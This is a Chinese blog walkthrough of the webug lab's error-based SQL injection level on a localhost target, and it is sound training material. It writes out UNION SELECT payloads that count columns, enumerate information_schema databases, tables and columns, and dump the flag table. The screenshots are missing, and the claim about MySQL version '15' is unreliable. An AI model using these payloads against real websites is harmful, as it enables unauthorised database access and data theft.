美文网首页
webug 显错注入 WP

webug 显错注入 WP

作者: creepycool | 来源:发表于2021-04-29 09:43 被阅读0次

    webug 显错注入 WP

    0x00

    原网址:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1

    sorry, img lost

    0x01

    打开,观察url结构,发现id=1,先加个单引号'测试一下
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1'

    sorry, img lost

    0x02

    找到注入点了,接下来看一下有多少列
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' order by 3 %23
    发现order by 3的时候报错了,说明一共有两列

    sorry, img lost

    0x03

    接下来看一下显错点在哪里
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' union select 1,2 %23

    sorry, img lost

    0x04

    确认数据库版本
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' union select 1,version() %23

    sorry, img lost
    数据库版本大于15的话,mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息。

    0x05

    查找数据库
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

    sorry, img lost

    0x06

    确定当前使用的数据库
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,DATABASE() %23

    sorry, img lost

    0x07

    查找当前使用的数据库下面的所有表名
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23

    sorry, img lost

    0x08

    看到flag表,确定flag表的字段
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23

    sorry, img lost

    0x09

    确定flag表的内容
    查看id
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23

    sorry, img lost

    0x10

    查看flag字段内容
    测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23

    sorry, img lost

    0x1a

    dfafdasfafdsadfa就是我们寻找的flag,提交,成功。

    sorry, img lost

    相关文章

      网友评论

          本文标题:webug 显错注入 WP

          本文链接:https://www.haomeiwen.com/subject/jrvirltx.html